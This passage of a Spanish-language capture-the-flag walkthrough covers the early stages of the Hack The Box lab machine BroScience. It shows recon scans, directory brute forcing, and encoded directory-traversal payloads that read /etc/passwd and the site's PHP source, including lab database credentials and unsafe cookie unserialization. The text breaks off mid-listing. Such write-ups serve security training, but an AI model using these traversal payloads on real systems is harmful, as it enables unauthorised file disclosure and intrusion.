This page looks best with JavaScript enabled

Hack The Box - BroScience

BroScience expone un sitio web vulnerable por el cual realizamos la lectura de su codigo fuente, con ello registramos un usuario e identificamos una vulnerabilidad de ‘Deserialization’ que nos permitio la creacion y ’ejecucion’ de archivos PHP para darnos acceso a la maquina. En la base de datos del sitio descubrimos hashes que nos permitieron acceder a un segundo usuario. Finalmente tras realizar ‘Command Injection’ en el Common Name de un certificado expirado que es utilizado por un script de un cronjob logramos escalar privilegios.

Nombre BroScience box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.195
Maker

bmdyy

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6, 5.8, 4.8, 5.2, 4.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), https (443) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Nmap 7.93 scan initiated Mon Mar  6 18:00:41 2023 as: nmap -p22,80,443 -sV -sC -oN nmap_scan 10.10.11.195
Nmap scan report for 10.10.11.195
Host is up (0.068s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| tls-alpn:
|_  http/1.1
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar  6 18:01:01 2023 -- 1 IP address (1 host up) scanned in 19.87 seconds

Web Site

El sitio web redirige hacia el dominio broscience.htb.

1
2
3
4
5
6
7
┌─[kirby@parrot][~/htb/broscience]
└──╼ $curl -sI 10.10.11.195
HTTP/1.1 301 Moved Permanently
Date: Fri, 17 Feb 2023 16:51:59 GMT
Server: Apache/2.4.54 (Debian)
Location: https://broscience.htb/
Content-Type: text/html; charset=iso-8859-1

Se muestra una lista de articulos, en cada uno, se muestra el autor.

image

Se utilizan las imagenes como valor del parametro path a la pagina img.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<div class="uk-card uk-card-default ">
    <div class="uk-card-media-top">
        <img src="includes/img.php?path=seated_rows.png" width="600" height="600" alt="">
    </div>
    <div class="uk-card-body">
        <a href="exercise.php?id=3" class="uk-card-title">Seated Rows</a>
        <p>If you want to target your lats, seated rows are a great exercise to do so. There are machines where... <a href="exercise.php?id=3">keep reading</a></p>
    </div>
    <div class="uk-card-footer">
        <p class="uk-text-meta">Written by <a class="uk-link-text" href="user.php?id=2">bill</a> 9 months ago</p>
    </div>
</div>

Creamos un wordlist con los cuatro autores en la lista de articulos.

1
2
3
4
5
6
7
 π ~/htb/broscience ❯ curl -sk https://broscience.htb/ | grep user.php| cut -d '>' -f3 | tr -d '</'| sort -u | uniq > users.txt
 π ~/htb/broscience ❯ cat users.txt
administratora
billa
johna
michaela
 π ~/htb/broscience ❯

Directory Brute Forcing

feroxbuster muestra multiples paginas y los ‘directorios’ /include, /images y /manual.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌─[kirby@parrot][~/htb/broscience/dotdotpwn]
└──╼ $feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://broscience.htb -k --depth 2 -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://broscience.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      319c https://broscience.htb/images
200      147l      510w        0c https://broscience.htb/index.php
200       42l       97w     1936c https://broscience.htb/login.php
200       45l      104w     2161c https://broscience.htb/register.php
200       29l       70w     1309c https://broscience.htb/user.php
302        1l        3w       13c https://broscience.htb/comment.php
301        9l       28w      321c https://broscience.htb/includes
200        1l        4w       39c https://broscience.htb/includes/img.php
301        9l       28w      319c https://broscience.htb/manual
301        9l       28w      326c https://broscience.htb/manual/images
301        9l       28w      322c https://broscience.htb/manual/en
200        5l       14w      369c https://broscience.htb/includes/header.php
301        9l       28w      322c https://broscience.htb/manual/de
301        9l       28w      322c https://broscience.htb/manual/fr
301        9l       28w      322c https://broscience.htb/manual/es
301        9l       28w      323c https://broscience.htb/javascript
302        0l        0w        0c https://broscience.htb/logout.php
301        9l       28w      322c https://broscience.htb/manual/tr

El ‘directorio’ /includes muestra multiples paginas .php, entre ellas img.php.

image

Web App

Al visitar cada una de las paginas encontramos que img.php espera el parametro path tal y como lo observamos anteriormente.

image

La respuesta del servidor parece intentar retornar una imagen.

1
2
3
4
5
6
7
 π ~/htb/broscience ❯ curl -skI "https://broscience.htb/includes/img.php?path=something"
HTTP/1.1 200 OK
Date: Mon, 06 Mar 2023 23:16:13 GMT
Server: Apache/2.4.54 (Debian)
Content-Type: image/png

 π ~/htb/broscience ❯

Directory Traversal

Al intentar pasarle la direccion de un archivo completo nos muestra un mensaje.

1
2
3
 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=../../../../../etc/passwd"
<b>Error:</b> Attack detected.
 π ~/htb/broscience ❯

Utilizamos [dotdotpwn][https://github.com/wireghoul/dotdotpwn] que nos permite crear multiples ‘payloads’ para realizar directory traversal. Observamos que encontro un payload funcional para el archivo /etc/passwd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─[kirby@parrot][~/htb/broscience/dotdotpwn]
└──╼ $./dotdotpwn.pl -m http-url -u https://broscience.htb/includes/img.php?path=TRAVERSAL -k "root:" -t .2 -q

[.. snip ..]

[========== TARGET INFORMATION ==========]
[+] Hostname: broscience.htb
[+] Protocol: https
[+] Port: 443

[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (unix)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 11052

[=========== TESTING RESULTS ============]
[+] Ready to launch 5000.00 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)

[+] Replacing "TRAVERSAL" with the traversals created and sending
. . . . . . . . 
[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE

[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE

[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
. . . . . . . . . . ^C
[+] Total Traversals found: 3

[.. snip ..]

Observamos que retorna el contenido del archivo, en el archivo /etc/passwd encontramos al usuario bill.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" | head
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 π ~/htb/broscience ❯
 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" |grep home
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
 π ~/htb/broscience ❯

Reading Local Files

Con ello logramos obtener el codigo fuente de los archivos php dentro del directorio /includes y en el directorio ‘principal’. Observamos que existe un ‘filtro’ en el parametro path para los caracteres ../ y otras dos strings.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//img.php
<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

Encontramos credenciales en la conexion de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

En el archivo navbar observamos que obtiene el nombre de la clase del tema (linea 6) y muestra el nombre de usuario, si esta o no logeado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//navbar.php
<?php
include_once "includes/utils.php";
?>

<nav class="uk-navbar-container uk-margin uk-navbar-transparent <?=get_theme_class()?>">
    <div class="uk-container uk-container-expand">
        <div class="uk-navbar" uk-navbar>
            <div class="uk-navbar-left">
                <a href="/" class="uk-navbar-item uk-logo">BroScience</a>
            </div>
            <div class="uk-navbar-right">
                <?php
                // Check if user is logged in
                if (isset($_SESSION['id'])) {
                    echo '<div class="uk-navbar-item"><a href="swap_theme.php" class="uk-link-text"><span uk-icon="icon: paint-bucket"></span></a></div>';
                    echo "<div class=\"uk-navbar-item\">Logged in as <a class=\"uk-link-text\" href=\"user.php?id={$_SESSION['id']}\"><b>".htmlspecialchars($_SESSION['username'],ENT_QUOTES,'UTF-8')."</b></a></div>";
                    echo '<ul class="uk-navbar-nav"><li><a href="logout.php">Log Out</a></li></ul>';
                } else {
                    echo '<ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul>';
                }
                ?>
            </div>
        </div>
    </div>
</nav>

User, muestra la informacion de cada usuario segun el valor del parametro id.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
//user.php
<?php
session_start();

// Is it a proper request?
if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
            include_once 'includes/db_connect.php';
            $res = pg_prepare($db_conn, "get_user_query", 'SELECT username, email, is_activated::int, is_admin::int, date_created FROM users WHERE id = $1');
            $res = pg_execute($db_conn, "get_user_query", array($_GET['id']));

            if (pg_num_rows($res) > 0) {
                $row = pg_fetch_row($res);
            } else {
                $alert = "No user with that ID";
            }
        } else {
            $alert = "Invalid ID value";
        }
    } else {
        $alert = "Empty ID value";
    }
} else {
    $alert = "Missing ID value";
}
?>

<html>
    <head>
        <title>BroScience : <?php if (isset($row)) {echo htmlspecialchars($row[0],ENT_QUOTES,'UTF-8');} else {echo "View user";}?></title>
        <?php 
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        ?>
        <link rel="stylesheet" href="styles/<?=$theme?>.css">
    </head>
    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
            <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            if (isset($row)) {
            ?>
                <h1 class="uk-heading-small"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></h1>
                <!-- TODO: Avatars -->
                <dl class="uk-description-list">
                    <dt>Member since</dt>
                    <dd><?=rel_time($row[4])?></dd>
                    <dt>Email Address</dt>
                    <dd><?=$row[1]?></dd>
                    <dt>Total exercises posted</dt>
                    <dd>
                        <?php
                        $res = pg_prepare($db_conn, "get_num_exercises_query", 'SELECT COUNT(*) FROM exercises WHERE author_id = $1');
                        $res = pg_execute($db_conn, "get_num_exercises_query", array($_GET['id']));
                        $row2 = pg_fetch_row($res);
                        echo $row2[0];
                        ?>
                    </dd>
                    <dt>Total comments posted</dt>
                    <dd>
                        <?php
                        $res = pg_prepare($db_conn, "get_num_comments_query", 'SELECT COUNT(*) FROM comments WHERE author_id = $1');
                        $res = pg_execute($db_conn, "get_num_comments_query", array($_GET['id']));
                        $row3 = pg_fetch_row($res);
                        echo $row3[0];
                        ?>
                    </dd>
                    <dt>Is activated</dt>
                    <dd>
                        <?=(bool)$row[2]?'Yes':'No'?>
                    </dd>
                    <dt>Is admin</dt>
                    <dd>
                        <?=(bool)$row[3]?'Yes':'No'?>
                    </dd>
                </dl>
            <?php 
                // Check if we are logged in
                if (isset($_SESSION['id'])) {
                    if ($_SESSION['id'] === $_GET['id'] || $_SESSION['is_admin']) {
                        // We are logged in as this user, add the edit form
                        ?>
                        <hr>
                        <form class="uk-form-stacked" method="POST" action="update_user.php">
                            <fieldset class="uk-fieldset">
                                <legend class="uk-legend">Edit User</legend>
                                <div class="uk-margin">
                                    <input name="username" class="uk-input" type="text" placeholder="New username">
                                </div>
                                <div class="uk-margin">
                                    <input name="email" class="uk-input" type="email" placeholder="New email">
                                </div>
                                <div class="uk-margin">
                                    <input name="password" class="uk-input" placeholder="New password">
                                </div>
                                <div class="uk-margin">
                                    <button class="uk-button uk-button-default" type="submit">Update</button>
                                </div>
                                <input type="hidden" name="id" value="<?=$_GET['id']?>">
                            </fieldset>
                        </form>
                        <?php
                    }
                }
            }
            ?>
        </div>
    </body>
</html>

Obseravamos la informacion del usuario con id 1 en el navegador.

image

Vemos en comment que, agrega un nuevo comentario a un post, verificando primero que el usuario este logeado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//comment.php
<?php
session_start();

// Check if user is not logged in
if (!isset($_SESSION['id'])) {
    header('Location: /login.php');
    echo "Not logged in";
    die();
}

// Check that all parameters are filled out
if (!isset($_POST['content']) || !isset($_POST['exercise_id'])) {
    header('Location: /index.php');
    echo "Missing parameters";
    die();
}

// Check that parameters are not empty
if (empty($_POST['content']) || empty($_POST['exercise_id'])) {
    header('Location: /index.php');
    echo "Empty parameters";
    die();
}

// Add the comment
include_once 'includes/db_connect.php';

$res = pg_prepare($db_conn, "add_comment_query", 'INSERT INTO comments (exercise_id, author_id, content) VALUES ($1, $2, $3)');
$res = pg_execute($db_conn, "add_comment_query", array($_POST['exercise_id'], $_SESSION['id'], $_POST['content']));

header("Location: /exercise.php?id={$_POST['exercise_id']}");
echo "Comment posted";
?>

En register observamos las validaciones del registro de un nuevo usuario, destaca la funcion de codigo de activacion (generate_activation_code()) al registrar un nuevo usuario, el cual se activa en la direccion https://broscience.htb/activate.php?code=<codigo>, el codigo de activacion es enviado aparentemente por email pero no se muestra alguna funcionalidad como esta.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//register.php
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
        // Check if passwords match
        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
            // Check if email is too long
            if (strlen($_POST['email']) <= 100) {
                // Check if email is valid
                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
                    // Check if username is valid
                    if (strlen($_POST['username']) <= 100) {
                        // Check if user exists already    
                        include_once 'includes/db_connect.php';

                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
                        
                        if (pg_num_rows($res) == 0) {
                            // Check if email is registered already
                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));

                            if (pg_num_rows($res) == 0) {
                                // Create the account
                                include_once 'includes/utils.php';
                                $activation_code = generate_activation_code();
                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

                                if (pg_num_rows($res) == 0) {
                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

                                    // TODO: Send the activation link to email
                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

                                    $alert = "Account created. Please check your email for the activation link.";
                                    $alert_type = "success";
                                } else {
                                    $alert = "Failed to generate a valid activation code, please try again.";
                                }
                            } else {
                                $alert = "An account with this email already exists.";
                            }
                        }
                        else {
                            $alert = "Username is already taken.";
                        }
                    } else {
                        $alert = "Maximum username length is 100 characters.";
                    }
                } else {
                    $alert = "Please enter a valid email address.";
                }
            } else {
                $alert = "Maximum email length is 100 characters.";
            }
        } else {
            $alert = "Passwords do not match.";
        }
    } else {
        $alert = "Please fill all fields in.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Register</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="register.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Register</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="email" class="uk-input" type="email" placeholder="Email">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Register</button>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

Como se menciono, no se muestra el codigo de activacion al registrar un nuevo usuario.

image

Login, permite la autenticacion de los usuarios por medio de un formulario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//login.php
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted log in form
if (isset($_POST['username']) && isset($_POST['password'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['password'])) {    
        include_once 'includes/db_connect.php';
        
        // Check if username:password is correct
        $res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
        $res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
        
        if (pg_num_rows($res) == 1) {
            // Check if account is activated
            $row = pg_fetch_row($res);
            if ((bool)$row[2]) {
                // User is logged in
                $_SESSION['id'] = $row[0];
                $_SESSION['username'] = $row[1];
                $_SESSION['is_admin'] = $row[3];

                // Redirect to home page
                header('Location: /index.php');
            } else {
                $alert = "Account is not activated yet";
            }
        } else {
            $alert = "Username or password is incorrect.";
        }
    } else {
        $alert = "Please fill in both username and password.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Log In</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="login.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Log In</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Log in</button>
                    </div>
                    <div class="uk-margin">
                        <a href="register.php">Create an account</a>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

Activate, es el encargado de obtener un codigo de activacion, de ser correcto, activa al usuario con ese codigo. De no ser valido, muestra un mensaje de error, tal y como se muestra en la imagen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// activate.php
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
                
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}
?>

<html>
    <head>
        <title>BroScience : Activate account</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
                <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            ?>
        </div>
    </body>
</html>

image

En utils encontramos distintas funciones y clases:

  1. funciones
  • generate_activation_code
  • rel_time
  • get_theme
  • get_theme_class
  • set_theme
  1. clases
  • UserPrefs
  • Avatar
  • AvatarInterface
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
